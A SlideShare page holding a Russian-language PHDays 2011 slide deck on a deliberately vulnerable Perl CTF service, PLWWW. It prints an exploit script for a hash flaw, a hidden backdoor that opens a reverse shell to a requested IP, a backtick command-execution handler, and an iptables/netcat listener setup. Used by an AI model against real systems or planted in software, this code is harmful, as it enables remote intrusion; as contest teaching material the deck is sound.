SlideShare ist ein Scribd-Unternehmen logo
1 von 14
PHDays Afterparty 2011
  PLWWW (#1, #3)
PLWWW и с чем его едят

    Сервис Монолит – зачатки исследовательской лаборатории.


    Работа с сервисом осуществляется по средствам протокола HTTP, но
    поддерживающего всего два метода работы – GET и ADMIN. Метод GET –
    служит только для получения информации, метод ADMIN – для доступа к
    панели управления сервисом. После запуска, сервис доступен на порту
    8080.


    Со стороны файловой системы – сервис представляет собой скрипт,
    разработанный на языке Perl. Код скрипта не обфусцирован, но его
    структура и используемые методы вводят в заблуждение при первом
    рассмотрении. Это сделано. Данный метод разработки скрипта
    объясняется со стороны легенды тем, что он был написан на скорую руку
    программистами различных галактических рас.
PLWWW и с чем его едят (192.168.X.2:8080)

    4 состояния


    #1 – ошибка при генерации хеша


    #2 – слабый пароль администратора (банально)


    #3 – бэкдор (странно, откуда он появился? )


    #4 – RCE (очевидная, но только


    на первый взгляд)
PLWWW #1 (192.168.X.2:8080)

    #1 – ошибка при генерации хеша
PLWWW #1 (192.168.X.2:8080)

      Понять принцип работы сервиса


      Функция tToSystem

 (Особенность данной функции состоит в том, что она заменяет все гласные латинского
      алфавита присутствующие в запросе на набор других символов (согласные латинского
      алфавита + спец символы))


      Метод GET – функция kh8ploegjst
PLWWW #1 - cryptFn (192.168.X.2:8080)

 kh8ploegjst -> cryptFn


              sub cryptFn (&@) {
                   my($tXt,@enc,$len)=@_;
                   my $jk;
                   my $encK="";
                   for ($jk=0;$jk le $len;$jk++) {
                         $encK .= $enc[$jk];
                   }
                   for ($jk=0;$jk <= $len;$jk++) {
                         $encK .= $enc[$jk];
                   }
                   my $value=md5_hex("$tXt$encK");
                   return $value;
              }
PLWWW #1- cryptFn (192.168.X.2:8080)

   НА ВХОДЕ : cryptFn(“record_1”,split(//,”XXSSDDFDS”),scalar(split(//,$_)))

            sub cryptFn (&@) {
                 my($tXt,@enc,$len)=@_;
                 my $jk;
                 my $encK="";
                 for ($jk=0;$jk le $len;$jk++) {
                       $encK .= $enc[$jk];
                 }
                 for ($jk=0;$jk <= $len;$jk++) {
                       $encK .= $enc[$jk];
                 }
                 my $value=md5_hex("$tXt$encK");
                 return $value;
            }

    НА ВЫХОДЕ : md5_hex(“record_1X");
PLWWW #1 - exploit (192.168.X.2:8080)

    Функция kh8ploegjst – достаточно подставить «0» как длину имени
    директории для выхода в корень.


    Для получения валидного хеша файла YOURFLAG.TXT – достаточно узнать
    первый символ секретного ключа.

                                        #!/usr/bin/perl
                                        use LWP::UserAgent;
                                        use Digest::MD5 'md5_hex';
                                        @crypto=(a..z);
                                        $fileName="YOURFLAG.TXT";
                                        $ua=LWP::UserAgent->new();
                                        foreach $sym (@crypto) {
                                                        $sym="d";
                                                        $value=md5_hex("$fileName$sym");
                                                        print "$sym $valuen";
                                                        $br=$ua->get("http://192.168.1.2:8080/0$value");
                                                        print $br->content;
                                                        if ($br->content=~/FLAG/) {
                                                                         print $br->content;
                                                                         exit();
                                                        }
                                        }
PLWWW #1 – FIX




                 ?
PLWWW #3 (192.168.X.2:8080)

       Смена состояния сервиса, помимо заплаток, приносит в код небольшой
       бекдор. Бекдор представляет собой необычное поведение сервиса при
       обращении к нему со специально сформированным запросом – сервис
       создает бекконнект на указанный в запросе IP адрес с предоставлением
       командной строки.




  sub pm_backton (&@) {
       use IO::Socket;use Socket;use FileHandle;my($h0st)=@_;$h0st=~s/d/./gi;my $tm='/bin/sh';
       my $p0rt=int(rand(20000))+10000;socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
       connect(SOCKET, sockaddr_in($p0rt, inet_aton($h0st)));SOCKET->autoflush();open(STDIN, ">&SOCKET");
       open(STDOUT,">&SOCKET");open(STDERR,">&SOCKET");system($tm);
  }
PLWWW #3 (192.168.X.2:8080)

     Метод ADMIN – функция kh8p1oegst


  sub kh8p1oegjst (&@) {
       my($query,$enc_key)=@_;
       my $status="";
       my $aPass="dfknmsdxz83945023489532";
       open(FE,"configuration");
       while (my $e=<FE>) {chomp($e);if ($e=~/PASSWORD/) {$e=~s/PASSWORD //gi;$aPass=$e;}}
       close(FE);
       if ($query=~/klrbxtzkljsbrklpjsfxljsspzkssndklrd/) {
              my(@Fghj)=split(/klrbxtzkljsbrklpjsfxljsspzkssndklrd/,$query);
              if ($aPass eq $Fghj[1]) {
                    $status=&aPage;
              }
       } elsif ($query=~/klrbxczklisbrklpjsfxljsspzkssndklrd/) {
              my(@Fghj)=split(/klrbxczklisbrklpjsfxljsspzkssndklrd/,$query);
              $status=`$Fghj[1]`;
       }
       if ($query=~/bzkckdklklr/) {$query=~s/bzkckdklklr//gi;&pm_backton($query);}
       return $status;
  }
PLWWW #3 – exploit (192.168.X.2:8080)


 iptables -t nat -A OUTPUT -p tcp --dport 10000:30000 -j REDIRECT --to-ports 31337
 nc –l –p 31337
PLWWW #3 – FIX




                 ?
Спасибо за внимание!

Вопросы?

ygoltsev@ptsecurity.ru
@ygoltsev

Weitere ähnliche Inhalte

Was ist angesagt?

Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование LinuxAnthony Shoumikhin
 
PHP Tricks
PHP TricksPHP Tricks
PHP TricksBlackFan
 
Не верь никому или разработка эффективных приложений (Как писать по настоящем...
Не верь никому или разработка эффективных приложений (Как писать по настоящем...Не верь никому или разработка эффективных приложений (Как писать по настоящем...
Не верь никому или разработка эффективных приложений (Как писать по настоящем...Moscow.pm
 
Алексей Плеханов: 25 причин попробовать Laravel
Алексей Плеханов: 25 причин попробовать LaravelАлексей Плеханов: 25 причин попробовать Laravel
Алексей Плеханов: 25 причин попробовать LaravelOleg Poludnenko
 
О безопасном использовании PHP wrappers
О безопасном использовании PHP wrappersО безопасном использовании PHP wrappers
О безопасном использовании PHP wrappersPositive Hack Days
 
Пластилиновый код: как перестать кодить и начать жить
Пластилиновый код: как перестать кодить и начать житьПластилиновый код: как перестать кодить и начать жить
Пластилиновый код: как перестать кодить и начать житьMoscow.pm
 
Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16Anatoly Sharifulin
 
Web осень 2013 лекция 2
Web осень 2013 лекция 2Web осень 2013 лекция 2
Web осень 2013 лекция 2Technopark
 
I tmozg js_school_jquery
I tmozg js_school_jqueryI tmozg js_school_jquery
I tmozg js_school_jqueryITmozg
 
Отладка в Erlang, trace/dbg
Отладка в Erlang, trace/dbgОтладка в Erlang, trace/dbg
Отладка в Erlang, trace/dbgYuri Zhloba
 
Разработка на Perl под Raspberry PI
Разработка на Perl под Raspberry PIРазработка на Perl под Raspberry PI
Разработка на Perl под Raspberry PIIlya Chesnokov
 
Python
PythonPython
Pythonpelid
 
Язык программирования Go для Perl-программистов
Язык программирования Go для Perl-программистовЯзык программирования Go для Perl-программистов
Язык программирования Go для Perl-программистовAndrew Shitov
 
Cобачники против кинофобов
Cобачники против кинофобовCобачники против кинофобов
Cобачники против кинофобовLidiya Myalkina
 

Was ist angesagt? (19)

Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование Linux
 
PHP Tricks
PHP TricksPHP Tricks
PHP Tricks
 
Не верь никому или разработка эффективных приложений (Как писать по настоящем...
Не верь никому или разработка эффективных приложений (Как писать по настоящем...Не верь никому или разработка эффективных приложений (Как писать по настоящем...
Не верь никому или разработка эффективных приложений (Как писать по настоящем...
 
Nginx.pm
Nginx.pmNginx.pm
Nginx.pm
 
Алексей Плеханов: 25 причин попробовать Laravel
Алексей Плеханов: 25 причин попробовать LaravelАлексей Плеханов: 25 причин попробовать Laravel
Алексей Плеханов: 25 причин попробовать Laravel
 
О безопасном использовании PHP wrappers
О безопасном использовании PHP wrappersО безопасном использовании PHP wrappers
О безопасном использовании PHP wrappers
 
Приручаем linux-консоль
Приручаем linux-консольПриручаем linux-консоль
Приручаем linux-консоль
 
Perl 5.10 и 5.12
Perl 5.10 и 5.12Perl 5.10 и 5.12
Perl 5.10 и 5.12
 
Почему Mojolicious?
Почему Mojolicious?Почему Mojolicious?
Почему Mojolicious?
 
Пластилиновый код: как перестать кодить и начать жить
Пластилиновый код: как перестать кодить и начать житьПластилиновый код: как перестать кодить и начать жить
Пластилиновый код: как перестать кодить и начать жить
 
Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16Что нового в Perl? 5.10 — 5.16
Что нового в Perl? 5.10 — 5.16
 
Web осень 2013 лекция 2
Web осень 2013 лекция 2Web осень 2013 лекция 2
Web осень 2013 лекция 2
 
I tmozg js_school_jquery
I tmozg js_school_jqueryI tmozg js_school_jquery
I tmozg js_school_jquery
 
Отладка в Erlang, trace/dbg
Отладка в Erlang, trace/dbgОтладка в Erlang, trace/dbg
Отладка в Erlang, trace/dbg
 
Разработка на Perl под Raspberry PI
Разработка на Perl под Raspberry PIРазработка на Perl под Raspberry PI
Разработка на Perl под Raspberry PI
 
Python
PythonPython
Python
 
Язык программирования Go для Perl-программистов
Язык программирования Go для Perl-программистовЯзык программирования Go для Perl-программистов
Язык программирования Go для Perl-программистов
 
циклы
циклыциклы
циклы
 
Cобачники против кинофобов
Cобачники против кинофобовCобачники против кинофобов
Cобачники против кинофобов
 

Ähnlich wie plwww (24.03) MEPHI (PHDays)

Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование LinuxAnthony Shoumikhin
 
Groovy On Grails
Groovy On GrailsGroovy On Grails
Groovy On Grailsguest32215a
 
Страх и ненависть в исходном коде
Страх и ненависть в исходном кодеСтрах и ненависть в исходном коде
Страх и ненависть в исходном кодеKolya Korobochkin
 
Юрий Гольцев - Сервис Collider
Юрий Гольцев - Сервис ColliderЮрий Гольцев - Сервис Collider
Юрий Гольцев - Сервис ColliderPositive Hack Days
 
Импорт данных с фреймворком Migrate. Владислав Богатырев.
Импорт данных с фреймворком Migrate. Владислав Богатырев.Импорт данных с фреймворком Migrate. Владислав Богатырев.
Импорт данных с фреймворком Migrate. Владислав Богатырев.DrupalCampDN
 
Миша Рудрастых: Введение в HTTP API WordPress
Миша Рудрастых: Введение в HTTP API WordPressМиша Рудрастых: Введение в HTTP API WordPress
Миша Рудрастых: Введение в HTTP API WordPressRuslan Begaliev
 
Problems of Automated Generation of Exploits on the Basis of Source Code
Problems of Automated Generation of Exploits on the Basis of Source CodeProblems of Automated Generation of Exploits on the Basis of Source Code
Problems of Automated Generation of Exploits on the Basis of Source CodePositive Hack Days
 
Symfony2. На чем можно сэкономить время при разработке?
Symfony2. На чем можно сэкономить время при разработке?Symfony2. На чем можно сэкономить время при разработке?
Symfony2. На чем можно сэкономить время при разработке?Stepan Tanasiychuk
 
Интеграция Яндекс Сервер
Интеграция Яндекс СерверИнтеграция Яндекс Сервер
Интеграция Яндекс СерверPVasili
 
ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...
ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...
ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...Alexey Paznikov
 
Saint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demoSaint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demomegakott
 

Ähnlich wie plwww (24.03) MEPHI (PHDays) (19)

Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование Linux
 
DSLs в Perl
DSLs в PerlDSLs в Perl
DSLs в Perl
 
Perl in practice
Perl in practicePerl in practice
Perl in practice
 
Groovy On Grails
Groovy On GrailsGroovy On Grails
Groovy On Grails
 
Страх и ненависть в исходном коде
Страх и ненависть в исходном кодеСтрах и ненависть в исходном коде
Страх и ненависть в исходном коде
 
Юрий Гольцев - Сервис Collider
Юрий Гольцев - Сервис ColliderЮрий Гольцев - Сервис Collider
Юрий Гольцев - Сервис Collider
 
Импорт данных с фреймворком Migrate. Владислав Богатырев.
Импорт данных с фреймворком Migrate. Владислав Богатырев.Импорт данных с фреймворком Migrate. Владислав Богатырев.
Импорт данных с фреймворком Migrate. Владислав Богатырев.
 
Миша Рудрастых: Введение в HTTP API WordPress
Миша Рудрастых: Введение в HTTP API WordPressМиша Рудрастых: Введение в HTTP API WordPress
Миша Рудрастых: Введение в HTTP API WordPress
 
Problems of Automated Generation of Exploits on the Basis of Source Code
Problems of Automated Generation of Exploits on the Basis of Source CodeProblems of Automated Generation of Exploits on the Basis of Source Code
Problems of Automated Generation of Exploits on the Basis of Source Code
 
Symfony2. На чем можно сэкономить время при разработке?
Symfony2. На чем можно сэкономить время при разработке?Symfony2. На чем можно сэкономить время при разработке?
Symfony2. На чем можно сэкономить время при разработке?
 
Perl – жив?!
Perl – жив?!Perl – жив?!
Perl – жив?!
 
Интеграция Яндекс Сервер
Интеграция Яндекс СерверИнтеграция Яндекс Сервер
Интеграция Яндекс Сервер
 
Bytecode
BytecodeBytecode
Bytecode
 
Суперсилы Chrome developer tools
Суперсилы Chrome developer toolsСуперсилы Chrome developer tools
Суперсилы Chrome developer tools
 
ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...
ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...
ПВТ - осень 2014 - Лекция 4 - Стандарт POSIX Threads. Реентерабельность. Сигн...
 
Mojolicious
MojoliciousMojolicious
Mojolicious
 
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кодаSECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
 
бегун
бегунбегун
бегун
 
Saint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demoSaint Perl 2009: CGI::Ajax demo
Saint Perl 2009: CGI::Ajax demo
 

plwww (24.03) MEPHI (PHDays)

  • 1. PHDays Afterparty 2011 PLWWW (#1, #3)
  • 2. PLWWW и с чем его едят Сервис Монолит – зачатки исследовательской лаборатории. Работа с сервисом осуществляется по средствам протокола HTTP, но поддерживающего всего два метода работы – GET и ADMIN. Метод GET – служит только для получения информации, метод ADMIN – для доступа к панели управления сервисом. После запуска, сервис доступен на порту 8080. Со стороны файловой системы – сервис представляет собой скрипт, разработанный на языке Perl. Код скрипта не обфусцирован, но его структура и используемые методы вводят в заблуждение при первом рассмотрении. Это сделано. Данный метод разработки скрипта объясняется со стороны легенды тем, что он был написан на скорую руку программистами различных галактических рас.
  • 3. PLWWW и с чем его едят (192.168.X.2:8080) 4 состояния #1 – ошибка при генерации хеша #2 – слабый пароль администратора (банально) #3 – бэкдор (странно, откуда он появился? ) #4 – RCE (очевидная, но только на первый взгляд)
  • 4. PLWWW #1 (192.168.X.2:8080) #1 – ошибка при генерации хеша
  • 5. PLWWW #1 (192.168.X.2:8080) Понять принцип работы сервиса Функция tToSystem (Особенность данной функции состоит в том, что она заменяет все гласные латинского алфавита присутствующие в запросе на набор других символов (согласные латинского алфавита + спец символы)) Метод GET – функция kh8ploegjst
  • 6. PLWWW #1 - cryptFn (192.168.X.2:8080) kh8ploegjst -> cryptFn sub cryptFn (&@) { my($tXt,@enc,$len)=@_; my $jk; my $encK=""; for ($jk=0;$jk le $len;$jk++) { $encK .= $enc[$jk]; } for ($jk=0;$jk <= $len;$jk++) { $encK .= $enc[$jk]; } my $value=md5_hex("$tXt$encK"); return $value; }
  • 7. PLWWW #1- cryptFn (192.168.X.2:8080) НА ВХОДЕ : cryptFn(“record_1”,split(//,”XXSSDDFDS”),scalar(split(//,$_))) sub cryptFn (&@) { my($tXt,@enc,$len)=@_; my $jk; my $encK=""; for ($jk=0;$jk le $len;$jk++) { $encK .= $enc[$jk]; } for ($jk=0;$jk <= $len;$jk++) { $encK .= $enc[$jk]; } my $value=md5_hex("$tXt$encK"); return $value; } НА ВЫХОДЕ : md5_hex(“record_1X");
  • 8. PLWWW #1 - exploit (192.168.X.2:8080) Функция kh8ploegjst – достаточно подставить «0» как длину имени директории для выхода в корень. Для получения валидного хеша файла YOURFLAG.TXT – достаточно узнать первый символ секретного ключа. #!/usr/bin/perl use LWP::UserAgent; use Digest::MD5 'md5_hex'; @crypto=(a..z); $fileName="YOURFLAG.TXT"; $ua=LWP::UserAgent->new(); foreach $sym (@crypto) { $sym="d"; $value=md5_hex("$fileName$sym"); print "$sym $valuen"; $br=$ua->get("http://192.168.1.2:8080/0$value"); print $br->content; if ($br->content=~/FLAG/) { print $br->content; exit(); } }
  • 9. PLWWW #1 – FIX ?
  • 10. PLWWW #3 (192.168.X.2:8080) Смена состояния сервиса, помимо заплаток, приносит в код небольшой бекдор. Бекдор представляет собой необычное поведение сервиса при обращении к нему со специально сформированным запросом – сервис создает бекконнект на указанный в запросе IP адрес с предоставлением командной строки. sub pm_backton (&@) { use IO::Socket;use Socket;use FileHandle;my($h0st)=@_;$h0st=~s/d/./gi;my $tm='/bin/sh'; my $p0rt=int(rand(20000))+10000;socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')); connect(SOCKET, sockaddr_in($p0rt, inet_aton($h0st)));SOCKET->autoflush();open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET");open(STDERR,">&SOCKET");system($tm); }
  • 11. PLWWW #3 (192.168.X.2:8080) Метод ADMIN – функция kh8p1oegst sub kh8p1oegjst (&@) { my($query,$enc_key)=@_; my $status=""; my $aPass="dfknmsdxz83945023489532"; open(FE,"configuration"); while (my $e=<FE>) {chomp($e);if ($e=~/PASSWORD/) {$e=~s/PASSWORD //gi;$aPass=$e;}} close(FE); if ($query=~/klrbxtzkljsbrklpjsfxljsspzkssndklrd/) { my(@Fghj)=split(/klrbxtzkljsbrklpjsfxljsspzkssndklrd/,$query); if ($aPass eq $Fghj[1]) { $status=&aPage; } } elsif ($query=~/klrbxczklisbrklpjsfxljsspzkssndklrd/) { my(@Fghj)=split(/klrbxczklisbrklpjsfxljsspzkssndklrd/,$query); $status=`$Fghj[1]`; } if ($query=~/bzkckdklklr/) {$query=~s/bzkckdklklr//gi;&pm_backton($query);} return $status; }
  • 12. PLWWW #3 – exploit (192.168.X.2:8080) iptables -t nat -A OUTPUT -p tcp --dport 10000:30000 -j REDIRECT --to-ports 31337 nc –l –p 31337
  • 13. PLWWW #3 – FIX ?